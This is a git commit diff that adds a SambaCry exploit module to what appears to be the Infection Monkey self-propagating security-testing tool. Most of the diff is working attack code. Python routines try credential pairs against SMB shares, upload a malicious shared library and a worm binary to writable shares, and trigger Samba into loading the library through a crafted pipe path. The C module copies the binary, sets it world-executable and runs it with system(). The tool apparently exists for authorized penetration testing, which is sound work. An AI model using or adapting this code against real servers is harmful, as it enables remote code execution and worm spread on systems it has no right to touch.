sambacry almost working e2e

This commit is contained in:
Itay Mizeretz 2017-08-31 17:50:55 +03:00
parent 4ce1653c8f
commit 194ed624c2
7 changed files with 172 additions and 84 deletions

View File

@ -1,7 +1,8 @@
import os
import sys
from network.range import FixedRange, RelativeRange, ClassCRange
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter,\
SambaCryExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
from abc import ABCMeta
from itertools import product
@ -141,7 +142,7 @@ class Configuration(object):
scanner_class = TcpScanner
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
SSHExploiter, ShellShockExploiter # Linux
SSHExploiter, ShellShockExploiter, SambaCryExploiter # Linux
]
# how many victims to look for in a single scan iteration

View File

@ -20,3 +20,4 @@ from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter
from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter

View File

@ -2,7 +2,12 @@ from optparse import OptionParser
from impacket.dcerpc.v5 import transport
from os import path
import time
import sys
from io import BytesIO
import logging
import re
from impacket.smbconnection import SMBConnection
import impacket.smbconnection
from impacket.smb import SessionError
from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED
from impacket.nt_errors import STATUS_SUCCESS
@ -13,42 +18,46 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_
from exploit import HostExploiter
from exploit.tools import get_target_monkey
from smbfinger import SMB_SERVICE
from network.smbfinger import SMB_SERVICE
from model import DROPPER_ARG
from tools import build_monkey_commandline
import monkeyfs
from config import WormConfiguration
__author__ = 'itay.mizeretz'
# TODO: add documentation
# TODO: add logs
# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
# TODO: remove /home/user
# TODO: take all from config
FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user']
RUNNER_FILENAME_32 = "monkey_runner32.so"
RUNNER_FILENAME_64 = "monkey_runner64.so"
RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
COMMANDLINE_FILENAME = "monkey_commandline.txt"
MONKEY_FILENAME_32 = "monkey32"
MONKEY_FILENAME_64 = "monkey64"
MONKEY_COPY_FILENAME_32 = "monkey32_2"
MONKEY_COPY_FILENAME_64 = "monkey64_2"
RUNNER_RESULT_FILENAME = "monkey_runner_result"
SHARES_TO_NOT_CHECK = ["IPC$", "print$"]
LOG = logging.getLogger(__name__)
class SambaCryExploiter(HostExploiter):
_target_os_type = ['linux']
def __init__(self):
pass
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None):
self.is_vulnerable(host)
if not self.is_vulnerable(host):
return
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
LOG.info("Writable shares and their credentials on host %s: %s" %
(host.ip_addr, str(writable_shares_creds_dict)))
# TODO: decide about ignoring src_path because of arc detection bug
src_path = src_path or get_target_monkey(host)
@ -59,30 +68,64 @@ class SambaCryExploiter(HostExploiter):
# TODO: config sleep time
time.sleep(5)
successfully_triggered_shares = []
for share in writable_shares_creds_dict:
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
# TODO: uncomment
#self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
# TODO: send telemetry
if len(successfully_triggered_shares) > 0:
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
return True
else:
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
return False
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
self.trigger_module(smb_client, share)
smb_client.logoff()
try:
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
self.trigger_module(smb_client, share)
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds):
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_list = [COMMANDLINE_FILENAME, RUNNER_FILENAME_32, RUNNER_FILENAME_64,
file_list = [COMMANDLINE_FILENAME, RUNNER_RESULT_FILENAME,
RUNNER_FILENAME_32, RUNNER_FILENAME_64,
MONKEY_FILENAME_32, MONKEY_FILENAME_64,
MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64]
for filename in file_list:
try:
smb_client.deleteFile(share, "\\%s" % filename)
except:
except (impacket.smbconnection.SessionError, SessionError):
# Ignore exception to try and delete as much as possible
pass
smb_client.disconnectTree(tree_id)
smb_client.logoff()
smb_client.close()
def get_trigger_result(self, ip, share, creds):
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_content = None
try:
file_id = smb_client.openFile(share, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA)
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
except (impacket.smbconnection.SessionError, SessionError) as e:
pass
smb_client.disconnectTree(tree_id)
smb_client.close()
return file_content
def get_writable_shares_creds_dict(self, ip):
# TODO: document
@ -90,24 +133,28 @@ class SambaCryExploiter(HostExploiter):
credentials_list = self.get_credentials_list()
for credentials in credentials_list:
smb_client = self.connect_to_server(ip, credentials)
shares = self.list_shares(smb_client)
try:
smb_client = self.connect_to_server(ip, credentials)
shares = self.list_shares(smb_client)
# don't try shares we can already write to.
for writable_share in writable_shares_creds_dict:
if writable_share in shares:
shares.remove(writable_share)
# don't try shares we can already write to.
for writable_share in writable_shares_creds_dict:
if writable_share in shares:
shares.remove(writable_share)
for share in shares:
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
for share in shares:
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
smb_client.logoff()
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
# If failed using some credentials, try others.
pass
return writable_shares_creds_dict
def get_credentials_list(self):
user_password_pairs = WormConfiguration.get_exploit_user_password_pairs()
user_password_pairs = self._config.get_exploit_user_password_pairs()
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
for user, password in user_password_pairs:
@ -124,26 +171,45 @@ class SambaCryExploiter(HostExploiter):
return shares
def is_vulnerable(self, host):
if not host.services.has_key(SMB_SERVICE):
if SMB_SERVICE not in host.services:
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
return False
# TODO: check if version is supported
# smb_server_name = host.services[SMB_SERVICE].get('name')
return True
pattern = re.compile(r'\d*\.\d*\.\d*')
smb_server_name = host.services[SMB_SERVICE].get('name')
samba_version = "unknown"
pattern_result = pattern.search(smb_server_name)
is_vulnerable = False
if pattern_result is not None:
samba_version = smb_server_name[pattern_result.start():pattern_result.end()]
samba_version_parts = samba_version.split('.')
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" %
(host.ip_addr, smb_server_name, samba_version, int(is_vulnerable)))
return is_vulnerable
def is_share_writable(self, smb_client, share):
# TODO: logs
#logging.debug('Checking %s for write access' % shareName)
LOG.debug('Checking %s for write access' % share)
try:
#logging.debug('Connecting to share %s' % shareName)
tree_id = smb_client.connectTree(share)
except Exception as e:
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except Exception as e:
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
@ -153,20 +219,21 @@ class SambaCryExploiter(HostExploiter):
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
tree_id = smb_client.connectTree(share)
self.write_file_to_server(smb_client, share, COMMANDLINE_FILENAME, self.get_monkey_commandline_supplier(host, depth))
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
self.write_file_to_server(smb_client, share, RUNNER_FILENAME_32, monkey_runner_bin_file.read)
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_32, monkey_runner_bin_file.read)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
self.write_file_to_server(smb_client, share, RUNNER_FILENAME_64, monkey_runner_bin_file.read)
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_64, monkey_runner_bin_file.read)
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
# TODO: Fix or postpone 32/64 architecture problem.
self.write_file_to_server(smb_client, share, MONKEY_FILENAME_32, monkey_bin_file.read)
self.write_file_to_server(smb_client, share, MONKEY_FILENAME_64, monkey_bin_file.read)
smb_client.disconnectTree(tree_id)
smb_client.putFile(share, "\\%s" % MONKEY_FILENAME_64, monkey_bin_file.read)
def write_file_to_server(self, smb_client, share, file_name, file_handle):
smb_client.putFile(share, "\\%s" % file_name, file_handle.read)
file_handle.close()
smb_client.disconnectTree(tree_id)
def connect_to_server(self, ip, credentials):
"""
@ -176,7 +243,8 @@ class SambaCryExploiter(HostExploiter):
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
smb_client.login(
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
def trigger_module(self, smb_client, share_name):
@ -192,18 +260,21 @@ class SambaCryExploiter(HostExploiter):
Tries triggering module by path
:param smb_client: smb client object
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
:return: False on unexpected exception. True otherwise
:return: True if might triggered successfully, False otherwise.
"""
try:
# the extra / on the beginning is required for the vulnerability
self.openPipe(smb_client, "/" + module_path)
except SessionError as e:
except (impacket.smbconnection.SessionError, SessionError) as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
return False
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
return True
else:
# TODO: remove print
print str(e)
return True
return False
@staticmethod
def generate_module_possible_paths(share_name):
@ -212,30 +283,29 @@ class SambaCryExploiter(HostExploiter):
:param share_name: Name of the share
:return: Array of possible full paths to the module.
"""
possible_paths_32 =\
(('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_32)) for folder_path in FOLDER_PATHS_TO_GUESS)
possible_paths_64 = \
(('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_64)) for folder_path in FOLDER_PATHS_TO_GUESS)
return possible_paths_32 + possible_paths_64
possible_paths = []
for folder_path in FOLDER_PATHS_TO_GUESS:
for file_name in [RUNNER_FILENAME_32, RUNNER_FILENAME_64]:
possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name))
return possible_paths
@staticmethod
def get_monkey_runner_bin_file(is_32bit):
# TODO: get from config
if is_32bit:
return open("sc_monkey_runner32.so", "rb")
return open(path.join(sys._MEIPASS, RUNNER_FILENAME_32), "rb")
else:
return open("sc_monkey_runner64.so", "rb")
return open(path.join(sys._MEIPASS, RUNNER_FILENAME_64), "rb")
@staticmethod
def get_monkey_commandline_supplier(host, depth):
return lambda x: DROPPER_ARG + build_monkey_commandline(host, depth - 1)
def get_monkey_commandline_file(host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes,
impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
createContexts=None):
def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
packet = smb_client.getSMBServer().SMB_PACKET()
packet['Command'] = SMB2_CREATE
@ -283,9 +353,7 @@ class SambaCryExploiter(HostExploiter):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree('IPC$')
# TODO: uncomment
#logging.info('Final path to load is %s' % pathName)
#logging.info('Triggering bug now, cross your fingers')
LOG.debug('Triggering path: %s' % pathName)
if smb_client.getDialect() == SMB_DIALECT:
_, flags2 = smb_client.getSMBServer().get_flags()
@ -312,4 +380,4 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)

View File

@ -443,7 +443,7 @@ def get_target_monkey(host):
return monkey_path
def build_monkey_commandline(target_host, depth):
def build_monkey_commandline(target_host, depth, location=None):
from config import WormConfiguration, GUID
cmdline = ""
@ -458,6 +458,9 @@ def build_monkey_commandline(target_host, depth):
cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline

View File

@ -1,2 +1,2 @@
gcc -c -Wall -Werror -fpic monkey_runner.c
gcc -shared -o monkey_runner.so monkey_runner.o
gcc -c -Wall -Werror -fpic sc_monkey_runner.c
gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o

View File

@ -4,13 +4,13 @@
#include <sys/stat.h>
#include <unistd.h>
#include "monkey_runner.h"
#include "sc_monkey_runner.h"
#if __x86_64__
#ifdef __x86_64__
#define ARC_IS_64
#endif
#if _____LP64_____
#ifdef _____LP64_____
#define ARC_IS_64
#endif
@ -19,16 +19,16 @@
int samba_init_module(void)
{
#if ARC_IS_64
const char RUNNER_FILENAME[] = "monkey_runner64.so";
#ifdef ARC_IS_64
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
const char MONKEY_NAME[] = "monkey64";
const char MONKEY_COPY_NAME[] = "monkey64_2";
#else
const char RUNNER_FILENAME[] = "monkey_runner32.so";
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
const char MONKEY_NAME[] = "monkey32";
const char MONKEY_COPY_NAME[] = "monkey32_2";
#endif
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
const char ACCESS_MODE_STRING[] = "0777";
const char RUN_MONKEY_CMD[] = "sudo ./";
@ -83,6 +83,16 @@ int samba_init_module(void)
return 0;
}
// Write file to indicate we're running
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
if (pFile == NULL)
{
return 0;
}
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
fclose(pFile);
// Read commandline
pFile = fopen(COMMANDLINE_FILENAME, "r");
if (pFile == NULL)
@ -106,12 +116,12 @@ int samba_init_module(void)
return 0;
}
if (0 != fseek (pFile , 0 , SEEK_END))
if (0 != fseek (pFile, 0 ,SEEK_END))
{
return 0;
}
monkeySize = ftell (pFile);
monkeySize = ftell(pFile);
if (-1 == monkeySize)
{
@ -131,19 +141,24 @@ int samba_init_module(void)
fclose(pFile);
pFile = fopen(MONKEY_COPY_NAME, "wb");
if (pFile == NULL)
{
free(monkeyBinary);
return 0;
}
fwrite(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
free(monkeyBinary);
// Change monkey permissions
accessMode = strtol(ACCESS_MODE_STRING, 0, 8);
if (chmod (MONKEY_COPY_NAME, accessMode) < 0)
if (chmod(MONKEY_COPY_NAME, accessMode) < 0)
{
return 0;
}
system(commandline);
return 0;
}